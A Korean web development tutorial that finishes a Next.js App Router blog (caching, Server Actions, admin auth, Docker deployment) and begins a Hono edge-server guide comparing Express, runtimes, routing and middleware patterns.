export const getBySlug = unstable_cache(
  async (slug: string) =>
    db.query.posts.findFirst({
      where: and(eq(posts.slug, slug), eq(posts.published, true)),
    }),
  ["post-by-slug"],
  { revalidate: 3600, tags: ["posts"] },
);
// src/app/(blog)/posts/[slug]/page.tsx
import { notFound } from "next/navigation";
import { getBySlug, listPublished } from "@/features/posts/queries";

export const revalidate = 3600;

export async function generateStaticParams() {
  const rows = await listPublished();                  // 최신 50개(limit 50)
  return rows.map((p) => ({ slug: p.slug }));  // 나머지는 첫 요청 때 생성
}

export async function generateMetadata({ params }) {
  const post = await getBySlug((await params).slug);
  return post ? { title: post.title, description: post.body.slice(0, 120) }
              : { title: "찾을 수 없는 글" };
}

export default async function PostPage({ params }) {
  const post = await getBySlug((await params).slug);
  if (!post) notFound();
  // ★ unstable_cache 는 결과를 JSON 으로 저장합니다 — 캐시 적중 때 Date 가 문자열로 옵니다
  const created = new Date(post.createdAt);

  return (
    <article className="prose mx-auto py-10">
      <h1>{post.title}</h1>
      <time dateTime={created.toISOString()}>
        {created.toLocaleDateString("ko-KR")}
      </time>
      <div>{post.body}</div>
    </article>
  );
}

④ 쓰기 — Server Action

// src/features/posts/schema.ts
import { z } from "zod";
export const PostInput = z.object({
  title: z.string().min(2, "제목은 2자 이상"),
  slug:  z.string().regex(/^[a-z0-9-]+$/, "영문 소문자·숫자·하이픈만"),
  body:  z.string().min(10, "본문이 너무 짧습니다"),
  published: z.coerce.boolean().default(false),
});
export type PostInput = z.infer<typeof PostInput>;
// src/features/posts/actions.ts
"use server";
import { revalidateTag } from "next/cache";
import { redirect } from "next/navigation";
import { auth } from "@/auth";
import { db } from "@/db";
import { posts } from "@/db/schema";
import { eq } from "drizzle-orm";
import { PostInput } from "./schema";

export type State = { errors?: Record<string, string[]>; message?: string };

async function requireAdmin() {
  const session = await auth();                       // ★ 액션마다
  if (session?.user?.role !== "admin") throw new Error("권한이 없습니다");
  return session.user;
}

export async function createPost(prev: State, fd: FormData): Promise<State> {
  const user = await requireAdmin();

  const parsed = PostInput.safeParse(Object.fromEntries(fd));
  if (!parsed.success)
    return { errors: parsed.error.flatten().fieldErrors };

  try {
    await db.insert(posts).values({ ...parsed.data, authorId: user.id });
  } catch (e: any) {
    if (String(e?.message).includes("unique"))
      return { errors: { slug: ["이미 쓰인 주소입니다"] } };
    return { message: "저장에 실패했습니다" };
  }

  revalidateTag("posts");                             // ★ 캐시 무효화
  redirect("/admin");                                 // ★ try 밖
}

export async function deletePost(id: number) {
  await requireAdmin();
  await db.delete(posts).where(eq(posts.id, id));
  revalidateTag("posts");
}

⑤ 관리자 화면과 폼

// src/app/(admin)/layout.tsx  — 레이아웃에서 한 번 더 막습니다
import { auth } from "@/auth";
import { redirect } from "next/navigation";

export default async function AdminLayout({ children }) {
  const session = await auth();
  if (session?.user?.role !== "admin") redirect("/login?next=/admin");

  return (
    <div className="grid grid-cols-[220px_1fr]">
      <aside className="border-r p-4"><AdminNav /></aside>
      <main className="p-6">{children}</main>
    </div>
  );
}
// src/features/posts/post-form.tsx
"use client";
import { useActionState } from "react";
import { useFormStatus } from "react-dom";
import { createPost, type State } from "./actions";

function Submit() {
  const { pending } = useFormStatus();
  return <button disabled={pending}>{pending ? "저장 중…" : "발행"}</button>;
}

export function PostForm() {
  const [state, action] = useActionState(createPost, {} as State);
  return (
    <form action={action} className="grid gap-3 max-w-xl">
      <input name="title" placeholder="제목" />
      <Err msgs={state.errors?.title} />
      <input name="slug" placeholder="hello-next" />
      <Err msgs={state.errors?.slug} />
      <textarea name="body" rows={12} />
      <Err msgs={state.errors?.body} />
      <label><input type="checkbox" name="published" value="true" /> 공개</label>
      {state.message && <p role="alert">{state.message}</p>}
      <Submit />
    </form>
  );
}

const Err = ({ msgs }: { msgs?: string[] }) =>
  msgs?.length ? <p role="alert" className="text-sm text-red-500">{msgs[0]}</p> : null;

⑥ 배포까지 — 명령 순서

# 0) 로컬 확인 — 개발 서버가 아니라 프로덕션 모드로
npm run build && npm run start
#    빌드 출력표에서 (blog) 는 ○/● , (admin) 은 ƒ 인지 확인 ★

# 1) 이미지 빌드 (공개 환경 변수는 빌드 인자로)
docker build --build-arg NEXT_PUBLIC_SITE_URL=https://example.com -t my-blog:1 .

# 2) 마이그레이션은 '별도 단계'에서 한 번만
DATABASE_URL=$DIRECT_URL npx drizzle-kit migrate

# 3) 실행 (서버 전용 비밀은 런타임에)
docker run -d --name blog -p 3000:3000 \
  -e DATABASE_URL="$DATABASE_URL" \
  -e AUTH_SECRET="$AUTH_SECRET" \
  -e AUTH_URL="https://example.com" \
  my-blog:1

# 4) 확인
curl -s https://example.com/posts/hello | head -40    # 본문이 HTML 안에 있나
curl -s -o /dev/null -w "%{time_starttransfer}\n" https://example.com/
배포하자마자 확인할 세 가지 — ① 글 상세 HTML 에 제목·본문이 들어 있는지, ② 관리자에서 글을 하나 저장한 뒤 공개 목록이 곧바로 바뀌는지 (안 바뀌면 revalidateTag 가 안 걸린 것), ③ 로그아웃 상태에서 /admin 이 로그인으로 튕기는지.

직접 이어서 해 볼 것 — 난이도 순서

단계과제배우는 것
1주차목록 · 상세 · 정적 생성까지 완성. 데이터는 JSON 파일로f01~f03 — App Router 와 RSC
2주차Drizzle + Postgres 붙이고 ISR · revalidateTag 넣기f04 · f09 — 캐시와 DB
3주차Auth.js 로그인 + 관리자 CRUD 를 Server Action 으로f05 · f07 · f08
4주차Tailwind·shadcn 으로 다듬고 OG 이미지 · sitemap 추가f10 · f11
5주차Docker 로 자체 호스팅 · Nginx · 헬스체크 · 로그f12
그다음댓글(낙관적 업데이트) · 이미지 업로드 · 검색 · 조회수(동적 조각 + PPR)f05 · f06 심화
막혔을 때 보는 순서 — ① npm run build 출력표에서 그 페이지의 기호, ② 개발 서버 터미널의 Cache missed reason, ③ 브라우저 네트워크 탭에서 RSC 요청(?_rsc=) 의 응답. 이 셋이면 "왜 이렇게 도는지"의 대부분이 설명됩니다.
가장 흔한 초심자 함정 다섯 — ① await params 를 빠뜨림, ② "use client" 를 트리 위쪽에 붙임, ③ 저장했는데 revalidateTag 를 안 부름, ④ redirect() 를 try 안에서 부름, ⑤ 권한 검사를 미들웨어에만 둠.

이 탭을 마친 뒤의 지도

  • 타입을 더 단단히 — 🔷 TypeScript 탭. satisfies·제네릭·zod 추론이 App Router 코드의 품질을 크게 바꿉니다
  • API 서버를 따로 두게 되면 — 🚂 Express · 🐈 NestJS 탭. 모바일 앱이 붙는 순간 필요해집니다
  • 트래픽이 커지면 — ⚡ 대규모 트래픽 탭. 캐시 계층 · 큐 · 읽기 복제본으로 이어집니다
  • 화면 기본기를 다시 — ⚛️ React · 🎨 CSS 탭. 렌더 원인 추적과 레이아웃은 여전히 여기서 옵니다
  • 데스크톱·모바일로 — 🖥 Electron · 📱 React Native 탭

한 장 요약 — 열세 절의 결론

질문답
어디서 렌더되나기본은 서버. 훅이 필요할 때만 "use client"
데이터는 어떻게서버 컴포넌트에서 await. API 라우트는 대개 불필요
저장은 어떻게Server Action + zod + revalidateTag
캐시는길게 잡고 태그로 지우기
느릴 때는Suspense 로 조각내고 번들을 줄이기
권한은미들웨어는 문지기, 진짜 검사는 액션 안
배포는Vercel 또는 standalone + Docker
마지막 한마디 — Next.js 를 어렵게 만드는 것은 문법이 아니라 "이 코드가 어디서 도는가" 한 가지입니다. 새 코드를 쓸 때마다 서버인가 브라우저인가, 캐시되나 매번인가 두 질문만 스스로에게 던지면, 나머지는 전부 따라옵니다.
정리 — 블로그(ISR)와 관리자(동적)를 한 앱에 담고, 읽기는 unstable_cache + 태그로 CDN 에서 끝내고, 쓰기는 Server Action 안에서 권한 검사 → 검증 → 저장 → revalidateTag 로 마칩니다. 배포는 output: "standalone" 도커 이미지 하나이고, 확인은 빌드 출력표의 기호와 curl 로 받아 본 HTML 두 가지로 합니다. 이 한 벌을 직접 만들어 보면 App Router 는 더 이상 낯설지 않습니다.
HONO 4.x · BUN 1.x · DENO 2 · CLOUDFLARE WORKERS · 2026 기준

Web 표준 위에
얇게 얹은 서버는
어디서든 돕니다

Express 의 req·res 는 Node 전용 객체였습니다. 그래서 Express 코드는 Node 밖으로 한 발짝도 못 나갑니다. Hono 는 브라우저에도 있는 표준 Request·Response 만 쓰기 때문에 같은 파일이 Node · Bun · Deno · Cloudflare Workers · Vercel · Deno Deploy 여섯 곳에서 그대로 돕니다. 여기에 아이솔레이트 방식이 더해지면 콜드 스타트가 수백 ms 에서 수 ms 로 내려가고, 서버가 사용자 가까운 도시에서 실행됩니다. 이 탭을 마치면 Express 로 짜던 API 를 엣지에 올려 전 세계에 배포하고, 그때 생기는 DB·상태·비용 문제를 스스로 풀 수 있습니다.

13SECTIONS
6같은 코드가 도는 런타임
~5ms아이솔레이트 콜드 스타트
0Node 전용 API 의존
EDGE 01

왜 다시 경량인가 — Express 가 못 가는 자리

Express 가 나쁜 게 아닙니다. Express 가 서 있는 땅이 Node 하나뿐이라는 것이 문제입니다. 2026년의 배포 자리는 컨테이너 말고도 다섯 군데가 더 생겼고, 그 다섯 곳에는 node:http 가 없습니다.

내 서버 코드가 도는 자리 — 2026년에는 두 갈래입니다 ① 프로세스가 계속 떠 있는 방식 ② 요청마다 아이솔레이트가 뜨는 방식 Node 24 LTS 가장 넓은 생태계 · 파일 · 커넥션 풀 자유 Bun 1.x 같은 코드가 더 빠르게 · 도구 한 벌 내장 Deno 2 허락한 것만 열림 · 표준 API 우선 Cloudflare Workers 전 세계 300여 도시 · 콜드 스타트 5ms 안팎 Vercel (Edge · Functions) Next.js 와 한 몸 · 미들웨어가 여기서 돕니다 Deno Deploy Deno 코드를 그대로 · KV 가 딸려 옵니다 Express 는 왼쪽 세 칸에서만 돕니다 req · res 가 node:http 의 객체라서, 그 모듈이 없는 오른쪽에는 통째로 못 올라갑니다 Hono 는 표준 Request / Response 만 씁니다 그래서 여섯 칸 전부에서 같은 파일이 그대로 돕니다 — 이것이 이 탭의 전제입니다
문제는 성능이 아니라 이식성입니다 — 코드가 갈 수 있는 자리의 개수가 다릅니다.

Express 의 req·res 는 무엇인가

// Express 핸들러의 진짜 정체
import type { IncomingMessage, ServerResponse } from "node:http";

app.get("/hi", (req, res) => {
  //  req 는 node:http 의 IncomingMessage 를 확장한 것
  //  res 는 node:http 의 ServerResponse 를 확장한 것
  //  → 둘 다 Node 런타임이 있어야만 존재합니다
  req.socket.remoteAddress;      // TCP 소켓을 직접 만짐
  res.writeHead(200);            // 헤더를 스트림에 밀어 넣는 방식
  res.end("hi");
});

//  Cloudflare Workers 에 그대로 올리면
//  Error: Could not resolve "node:http"
//  또는 실행 중 TypeError: res.writeHead is not a function
“nodejs_compat 를 켜면 되지 않나요” — Workers 에도 Node 호환 층이 있지만 node:http 의 서버 부분은 대상이 아닙니다. 아이솔레이트는 포트를 열어 소켓을 받는 구조가 아니기 때문입니다. 요청은 플랫폼이 이미 받아서 객체 하나로 넘겨 줍니다.

Web 표준 모델 — 함수 하나가 전부

// 브라우저의 fetch 가 쓰던 그 Request · Response 입니다
export default {
  async fetch(request: Request): Promise<Response> {
    const url = new URL(request.url);              // 표준 URL
    if (url.pathname === "/hi") {
      return new Response(JSON.stringify({ ok: true }), {
        headers: { "content-type": "application/json" },
      });
    }
    return new Response("not found", { status: 404 });
  },
};

//  ★ 핵심 — "요청 객체를 받아 응답 객체를 돌려주는 순수 함수"
//     소켓도, 스트림 쓰기도, next() 도 없습니다.
//     그래서 어느 런타임이든 이 모양만 지원하면 코드가 돕니다.
이미 알고 있는 API 입니다 — 브라우저에서 fetch() 를 쓸 때 받았던 그 Response 이고, res.json() 이 아니라 await request.json() 입니다. 클라이언트에서 쓰던 지식이 서버로 그대로 옵니다.

한 단계 더 — 콜드 스타트와 요금이 설계를 바꿉니다 🟡 중급

콜드 스타트 — 무엇이 느린가

[컨테이너 / Lambda 방식]  한 번도 안 쓰인 함수에 요청이 오면
  1. 이미지 내려받기 · 컨테이너 기동      100~400ms
  2. Node 프로세스 시작                    30~ 80ms
  3. import 한 모듈 전부 평가              50~600ms  ★ 여기가 제일 큼
  4. DB 커넥션 풀 만들기                   20~200ms
  ────────────────────────────────────────────────
  합계 200ms ~ 1.5s   (그 뒤 요청은 1ms — 프로세스가 살아 있으므로)

[아이솔레이트 방식]  V8 아이솔레이트만 새로 만듭니다
  1. 미리 데워 둔 V8 안에 격리 공간 생성    < 1ms
  2. 이미 파싱해 둔 스냅샷 복원             1~ 5ms
  ────────────────────────────────────────────────
  합계 ~5ms  ·  프로세스도 컨테이너도 만들지 않습니다
콜드 스타트를 키우는 1등은 코드가 아니라 import 입니다. import { PrismaClient } 한 줄로 수 MB 가 로드되고, AWS SDK 전체를 임포트하면 그것만으로 수백 ms 가 붙습니다. 엣지에서는 번들 크기가 곧 지연입니다(g08).

요금 모델이 다릅니다

인스턴스 방식요청당 방식
과금 단위떠 있는 시간요청 수 + CPU 시간
트래픽 0일 때그대로 냄0원
대기(DB 응답)돈이 나감대개 무료
갑작스런 폭주오토스케일 지연즉시 확장
꾸준한 고부하더 쌈비싸질 수 있음
긴 작업제한 없음수십 초 상한
실무 감각 — 사내 도구·관리자 페이지처럼 하루 몇 백 요청이면 엣지가 압도적으로 쌉니다(대개 무료 한도 안). 반대로 24시간 CPU 를 갈아 넣는 워커라면 인스턴스가 낫습니다. “얼마나 자주 노느냐”가 선택 기준입니다.
어디에 올릴지 고르는 순서 — 세 번만 물으면 정해집니다 1 Node 전용 기능이 꼭 필요한가? 파일 시스템 · 자식 프로세스 · 네이티브 애드온 · 몇 분씩 도는 백그라운드 작업 예 Node · Bun 컨테이너로 갑니다 (엣지 후보 탈락) 아니오 2 트래픽이 띄엄띄엄한가, 꾸준히 높은가? 띄엄띄엄 · 폭주형 → 요청당 과금이 압도적으로 쌉니다 / 24시간 고부하 → 인스턴스 3 사용자가 전 세계에 흩어져 있는가? 흩어짐 → 엣지에서 가까운 도시가 응답 / 한 나라에 몰림 → 그 지역 인스턴스 한 대가 더 단순 어느 쪽으로 가든 코드는 Hono 로 짜 둡니다 판단이 바뀌어도 어댑터 한 줄만 갈아 끼우면 반대편으로 옮겨집니다 — 되돌릴 수 있는 결정으로 만드세요
고르는 기준은 취향이 아니라 Node 전용 기능 · 트래픽 모양 · 사용자 분포 세 가지입니다.

런타임 한눈에 — 여섯 자리 비교 🟢 기초

Node 24Bun 1.xDeno 2 WorkersVercelDeno Deploy
실행 엔진V8JavaScriptCoreV8V8 아이솔레이트V8 / NodeV8 아이솔레이트
콜드 스타트수십~수백 msNode 보다 짧음수십 ms~5ms모드에 따라~10ms
파일 시스템있음있음권한 필요없음사실상 없음없음
TCP 소켓자유자유권한 필요제한적제한적제한적
CPU 시간무제한무제한무제한요청당 상한플랜별 상한상한 있음
지리 분산내가 배포내가 배포내가 배포기본 제공기본 제공기본 제공
Express✅✅대부분 ✅❌Node 모드만❌
Hono✅✅✅✅✅✅
🟩 Node 탭 n17 에서 Node·Bun·Deno 셋을 “어느 것으로 서버를 띄울까” 관점으로 비교했습니다. 이 탭은 그 뒤를 잇습니다 — 런타임을 하나로 못 박지 않고도 도는 코드를 어떻게 짜는지, 그리고 런타임이 아예 없는 자리(아이솔레이트)에서 무엇이 달라지는지가 주제입니다.
정리 — 엣지가 새로운 이유는 속도가 아니라 실행 모델입니다. 컨테이너는 프로세스를 띄워 두고 요청을 받고, 아이솔레이트는 요청이 올 때 격리 공간만 만듭니다. 그래서 콜드 스타트가 수백 ms → 수 ms 로 줄고, 대신 파일 시스템 · 커넥션 풀 · 긴 실행을 잃습니다. 잃은 것을 어떻게 메우는지가 g08~g10 이고, 그 전에 Hono 를 먼저 배웁니다.
EDGE 02

Hono 시작 — Express 를 아는 사람이 가장 빨리 배웁니다

개념이 새로 생기지 않습니다. app · 라우트 · 미들웨어 세 가지가 그대로 있고, (req, res, next) 가 (c, next) 하나로 합쳐졌을 뿐입니다. 다른 점은 딱 하나 — res.json() 이 아니라 return c.json() 입니다.

Hono 는 표준 Request / Response 위에 얹은 얇은 한 층입니다 ① 내 코드 — app.get("/users/:id", (c) => c.json(user)) 런타임 이름이 한 번도 나오지 않습니다 — 이 파일이 이식성의 대상입니다 ② Hono — 라우터 + Context (c) URL 을 보고 핸들러를 고르고(라우터), Request 에서 값을 꺼내 주는 도우미(c.req)와 Response 를 만들어 주는 도우미(c.json)를 붙입니다 — 그게 전부라 아주 작습니다 ③ Web 표준 — Request · Response · URL · Headers · fetch 브라우저에도 그대로 있는 물건입니다. 이 층 위에만 서 있으면 어디든 갑니다 workerd Workers · Pages Deno.serve Deno · Deno Deploy Bun.serve Bun @hono/node-server Node 24 LTS ④ 런타임을 바꿀 때 갈아 끼우는 것은 이 맨 아랫줄 하나뿐입니다
Hono 가 얇다는 말은 표준과 내 코드 사이에 낀 것이 거의 없다는 뜻입니다.

설치 — 템플릿이 런타임까지 골라 줍니다

npm create hono@latest my-api · Bun 이면 bun create hono my-api
npm create hono@latest my-api

# ? Which template do you want to use?
#     cloudflare-workers   ← 엣지에 올릴 거면 이것 (g07·g12)
#     bun                  ← Bun 으로 돌릴 거면
#     deno
#     nodejs               ← 지금 쓰던 서버 옆에 붙일 거면
#     vercel · netlify · aws-lambda · fastly ...

cd my-api && npm i
npm run dev            # http://localhost:8787 (workers 템플릿 기준)

# ★ 기존 프로젝트에 얹기 — 패키지 하나면 됩니다
npm i hono
npm i @hono/node-server        # Node 에서 돌릴 때만 추가
템플릿을 잘못 골랐어도 괜찮습니다 — 바뀌는 것은 진입 파일 몇 줄과 설정 파일뿐이고 라우트 코드는 그대로입니다. 지금 확실하지 않으면 nodejs 로 시작해서 익숙한 환경에서 배우고, 나중에 cloudflare-workers 로 옮기세요(g12).

첫 서버 — 이게 전부입니다

// src/index.ts
import { Hono } from "hono";

const app = new Hono();

app.get("/health", (c) => c.json({ ok: true }));

app.get("/users/:id", async (c) => {
  const id = c.req.param("id");                 // 경로 변수
  const user = await findUser(id);
  if (!user) return c.json({ message: "없습니다" }, 404);
  return c.json(user);                          // ★ return 을 잊지 마세요
});

app.post("/users", async (c) => {
  const body = await c.req.json();               // 본문 파싱 (미들웨어 불필요)
  const created = await createUser(body);
  return c.json(created, 201);
});

export default app;      // ← Workers · Deno · Bun 은 이 한 줄이 진입점
Express 에서 오면 딱 하나가 걸립니다 — return. Express 는 res.json() 을 호출하면 응답이 나갔지만, Hono 는 핸들러가 Response 를 돌려줘야 응답이 됩니다. return 을 빼면 404 Not Found 가 나가고 아무 에러도 안 납니다. 초보가 가장 오래 헤매는 지점입니다.

나란히 보기 — Express 코드를 Hono 로 🟢 기초

Express — Node 에서만
import express from "express";
const app = express();
app.use(express.json());     // 파서 필요

app.get("/u/:id", (req, res) => {
  const id = req.params.id;
  const q  = req.query.page;      // 문자열
  res.setHeader("x-a", "1");
  res.status(200).json({ id, q });
});

app.post("/u", (req, res) => {
  const body = req.body;          // 파서가 채움
  res.status(201).json(body);
});

app.listen(3000);
Hono — 여섯 런타임 전부
import { Hono } from "hono";
const app = new Hono();
// 파서 미들웨어가 필요 없습니다

app.get("/u/:id", (c) => {
  const id = c.req.param("id");
  const q  = c.req.query("page"); // 문자열
  c.header("x-a", "1");
  return c.json({ id, q });       // 200 기본
});

app.post("/u", async (c) => {
  const body = await c.req.json();
  return c.json(body, 201);
});

export default app;
하고 싶은 일ExpressHono
경로 변수req.params.idc.req.param("id")
쿼리 하나req.query.pagec.req.query("page")
쿼리 전부req.queryc.req.query()
같은 키 여러 개배열로 옴c.req.queries("tag")
JSON 본문req.body (파서 필요)await c.req.json()
폼 본문express.urlencoded()await c.req.parseBody()
헤더 읽기req.headers["x-a"]c.req.header("x-a")
JSON 응답res.json(x)return c.json(x)
상태 코드res.status(201).json(x)return c.json(x, 201)
텍스트 · HTMLres.sendc.text · c.html
리다이렉트res.redirect("/a")return c.redirect("/a")
원본 요청req 자체c.req.raw (표준 Request)
404 처리맨 끝 app.useapp.notFound(...)
에러 처리인자 4개 미들웨어app.onError(...)

라우팅 — 쪼개고 붙이기 🟡 중급

경로 패턴과 라우터 분리

app.get("/posts/:id", ...);           // /posts/3
app.get("/posts/:id/c/:cid", ...);    // 여러 개
app.get("/files/*", ...);             // 와일드카드
app.get("/posts/:date{[0-9]{8}}", ...);   // 정규식 제약 ★
app.get("/img/:name{.+\\.png$}", ...);
app.on(["GET", "POST"], "/both", ...);    // 여러 메서드
app.all("/any", ...);

// ★ 구체적인 경로를 먼저 — Express 와 같은 규칙입니다
app.get("/users/me", getMe);
app.get("/users/:id", getUser);

// 라우터 분리 — Express 의 Router 자리
// routes/posts.ts
const posts = new Hono();
posts.get("/", list);
posts.get("/:id", detail);
export default posts;

// index.ts
app.route("/api/posts", posts);       // app.use("/api/posts", r) 자리

// 앞에 공통 경로 붙이기
const api = new Hono().basePath("/api/v1");
api.get("/ping", (c) => c.text("pong"));   // → /api/v1/ping
라우터가 빠른 이유 — Hono 는 등록된 경로를 보고 가장 빠른 라우터를 스스로 고릅니다(정적 경로만 있으면 표 조회, 패턴이 섞이면 트라이). Workers 처럼 요청마다 초기화 비용을 내는 곳에서는 이 차이가 응답 시간에 그대로 보입니다.

같은 코드를 여섯 곳에 올리는 법

// ── src/app.ts : 어디서도 런타임을 모릅니다 (공통) ──
import { Hono } from "hono";
export const app = new Hono();
app.get("/", (c) => c.text("hello"));

// ── ① Cloudflare Workers / Deno Deploy / Vercel ──
// src/worker.ts
import { app } from "./app";
export default app;                 // fetch 핸들러로 그대로 쓰입니다

// ── ② Deno 로컬 ──
Deno.serve(app.fetch);

// ── ③ Bun ──
export default { port: 3000, fetch: app.fetch };

// ── ④ Node ──
import { serve } from "@hono/node-server";
serve({ fetch: app.fetch, port: 3000 });

//  ★ 네 경우 모두 app.fetch 를 넘길 뿐입니다.
//    app.fetch 의 타입은 (req: Request) => Response | Promise<Response>
“그럼 아무 코드나 다 옮겨지나요” — 아닙니다. Hono 는 옮겨지지만 내가 부른 라이브러리는 아닐 수 있습니다. fs·path·crypto(Node 판)·네이티브 모듈을 쓰는 순간 그 코드는 Node 에 묶입니다. 이식성은 Hono 가 아니라 내 의존성이 결정합니다(g08).
Express 를 당장 걷어낼 필요는 없습니다. Hono 는 @hono/node-server 로 Node 위에서도 잘 돌기 때문에 새 엔드포인트만 Hono 로 짜서 기존 Express 앱 옆에 리버스 프록시로 붙여 두는 방식이 가장 안전합니다. 옮길 준비가 되면 그 조각들만 Workers 로 올리면 됩니다.
정리 — Hono 는 Express 의 개념을 그대로 쓰되 문법만 표준으로 바꾼 것입니다. 외울 것은 c.req.param · c.req.query · await c.req.json() · return c.json() 네 개이고, 나머지는 Express 지식이 그대로 통합니다. 다만 return 을 빼면 404 가 나간다는 것만 기억하세요.
EDGE 03

미들웨어 · 타입 — 양파 구조와 c.set

Express 미들웨어는 줄 서서 통과하는 관문이었습니다. Hono 미들웨어는 양파입니다 — await next() 앞이 내려가는 길, 뒤가 올라오는 길입니다. 이 한 줄 덕분에 응답을 만진 뒤의 처리가 훨씬 자연스러워집니다.

미들웨어는 양파 — await next() 앞은 내려가는 길, 뒤는 올라오는 길 logger — 시작 시각 기록 · await next() cors — 프리플라이트면 여기서 끝 · await next() bearerAuth — 토큰 검증 · await next() 라우트 핸들러 return c.json(...) 토큰이 틀리면 next() 를 안 부릅니다 돌아오는 길에 CORS 헤더를 붙입니다 돌아오는 길에 걸린 시간을 찍습니다 실행 순서 1 · logger 시작 (t 기록) 2 · cors 확인 3 · 토큰 검증 · c.set("user") 4 · 핸들러 → Response 5 · 인증 (되돌아옴) 6 · CORS 헤더 붙이기 7 · logger 소요 시간 출력 응답도 고칠 수 있습니다 await next() 를 빼먹으면 그 자리에서 요청이 멈춥니다 await 만 빠뜨리면 더 고약합니다 — 응답이 먼저 나가고 뒤처리가 허공에서 돕니다
Express 의 res.on("finish") 로 하던 일이 await next() 다음 줄이 됩니다.

내장 미들웨어 — 대부분 이미 있습니다

import { Hono } from "hono";
import { logger } from "hono/logger";
import { cors } from "hono/cors";
import { compress } from "hono/compress";
import { secureHeaders } from "hono/secure-headers";
import { bearerAuth } from "hono/bearer-auth";
import { jwt } from "hono/jwt";
import { cache } from "hono/cache";
import { etag } from "hono/etag";
import { requestId } from "hono/request-id";
import { timing } from "hono/timing";
import { prettyJSON } from "hono/pretty-json";
import { csrf } from "hono/csrf";

const app = new Hono();

app.use(requestId());                       // c.get("requestId")
app.use(logger());
app.use(secureHeaders());                   // helmet 자리
app.use("/api/*", cors({
  origin: ["https://app.example.com"],
  allowMethods: ["GET", "POST", "PATCH", "DELETE"],
  credentials: true,
  maxAge: 86400,
}));
app.use("/admin/*", bearerAuth({
  verifyToken: async (token, c) => token === c.env.ADMIN_TOKEN,   // env 값은 요청 때 읽습니다
}));
app.use("/api/*", jwt({ secret: "값은 env 에서" }));   // c.get("jwtPayload")

app.get("/static/*",
  cache({ cacheName: "assets", cacheControl: "max-age=3600" }));
Express 의 helmet · cors · compression · morgan 자리를 전부 내장이 채웁니다. npm i 할 것이 없어서 번들이 안 커집니다 — 엣지에서는 이게 곧 콜드 스타트입니다. compress() 는 Workers 에서는 쓰지 마세요 — 플랫폼이 이미 압축해 줍니다.

등록 순서와 경로 범위

// ★ Express 와 똑같이 "등록 순서 = 통과 순서" 입니다
app.use(logger());              // 전부에 걸림
app.use("/api/*", auth());      // /api 아래에만
app.get("/api/me", handler);    // 위 auth 를 통과한 뒤 실행

// ❌ 가장 흔한 사고 — 라우트를 먼저 등록해 놓고 미들웨어를 뒤에
app.get("/api/me", handler);
app.use("/api/*", auth());      // 아무도 안 막힙니다

// ★ 라우트 하나에만 붙이기 (Express 와 같은 방식)
app.get("/admin", auth(), adminOnly(), handler);

// ★ 라우터 단위로 붙이기
const admin = new Hono();
admin.use(auth());              // 이 라우터 전체
admin.get("/stats", statsHandler);
app.route("/admin", admin);

// 404 · 에러는 미들웨어가 아니라 전용 훅입니다
app.notFound((c) => c.json({ code: "NOT_FOUND" }, 404));
app.onError((err, c) => {
  if (err instanceof HTTPException) return err.getResponse();
  console.error(err);                       // Workers 로그로 나갑니다
  return c.json({ code: "INTERNAL", requestId: c.get("requestId") }, 500);
});
app.use("/api/*") 의 별표를 빼지 마세요. app.use("/api") 는 정확히 그 경로에만 걸립니다. Express 의 app.use("/api", m) 이 하위 전체를 덮던 것과 달라서 인증이 조용히 비는 사고가 납니다.

타입 — c.set / c.get 을 타입 안전하게 🟡 중급

Express 의 req.user 자리

// Express 에서는 전역 타입을 확장해야 했습니다 (오염됨)
//   declare global { namespace Express { interface Request { user?: U } } }
//
// Hono 는 제네릭으로 앱마다 따로 선언합니다 ★

type Variables = {
  user: { id: string; role: "user" | "admin" };
  requestId: string;
};

type Bindings = {                    // Workers 의 env (g07)
  DB: D1Database;
  KV: KVNamespace;
  JWT_SECRET: string;
};

const app = new Hono<{ Bindings: Bindings; Variables: Variables }>();

app.use(async (c, next) => {
  const u = await verify(c.req.header("authorization"), c.env.JWT_SECRET);
  c.set("user", u);                  // ✅ 타입이 맞는지 검사합니다
  // c.set("usr", u);                // ❌ 컴파일 에러 — 오타를 잡아 줍니다
  await next();
});

app.get("/me", (c) => {
  const user = c.get("user");        // ✅ { id, role } 로 추론됩니다
  return c.json(user);
});
Express 와 결정적으로 다른 점 — req.user 는 전역 Request 타입을 고쳐야 해서 앱이 두 개면 타입이 섞였습니다. Hono 는 앱 인스턴스마다 타입이 붙어서 모노레포에서 여러 앱을 한 저장소에 둘 때 충돌이 없습니다.

커스텀 미들웨어 — createMiddleware

import { createMiddleware } from "hono/factory";
import { HTTPException } from "hono/http-exception";

// ① 인증 — 타입이 붙은 미들웨어
export const requireAuth = createMiddleware<{
  Variables: { user: User };
  Bindings: { JWT_SECRET: string };
}>(async (c, next) => {
  const raw = c.req.header("authorization")?.slice(7);
  if (!raw) throw new HTTPException(401, { message: "인증이 필요합니다" });
  try {
    c.set("user", await verifyJwt(raw, c.env.JWT_SECRET));
  } catch {
    throw new HTTPException(401, { message: "토큰이 유효하지 않습니다" });
  }
  await next();                       // ★ 잊지 마세요
});

// ② 권한 — 인자를 받는 미들웨어는 "함수를 반환"
export const requireRole = (...roles: string[]) =>
  createMiddleware<{ Variables: { user: User } }>(async (c, next) => {
    if (!roles.includes(c.get("user").role))
      throw new HTTPException(403, { message: "권한이 없습니다" });
    await next();
  });

// ③ 응답을 만지는 미들웨어 — await next() '뒤'가 진짜 무대
export const serverTiming = createMiddleware(async (c, next) => {
  const t0 = Date.now();
  await next();
  c.res.headers.set("server-timing", `app;dur=${Date.now() - t0}`);
  // ★ c.res 는 여기서 이미 만들어진 Response 입니다
});

app.get("/admin/x", requireAuth, requireRole("admin"), handler);
c.res 를 통째로 갈아 끼울 때는 주의하세요. c.res = new Response(...) 처럼 바꾸면 먼저 붙은 헤더가 전부 날아갑니다. 헤더만 고칠 거라면 c.res.headers.set(...) 을 쓰세요.

실무에선 이렇게 — 엣지 미들웨어의 세 가지 함정 🔴 실무

① 전역 변수에 상태를 두지 마세요

// ❌ 아이솔레이트가 재사용되면 요청끼리 값이 섞입니다
let currentUser: User | null = null;
app.use(async (c, next) => { currentUser = await auth(c); await next(); });

// ❌ 인메모리 Rate Limit — 아이솔레이트가 수백 개라 의미가 없습니다
const hits = new Map<string, number>();

// ✅ 요청 범위 상태는 c.set / c.get 으로만
app.use(async (c, next) => { c.set("user", await auth(c)); await next(); });

// ✅ 프로세스 밖에 두어야 하는 것 → KV · Durable Objects (g07·g09)
const key = `rl:${c.req.header("cf-connecting-ip")}`;
const n = Number(await c.env.KV.get(key)) + 1;
if (n > 100) throw new HTTPException(429);
await c.env.KV.put(key, String(n), { expirationTtl: 60 });
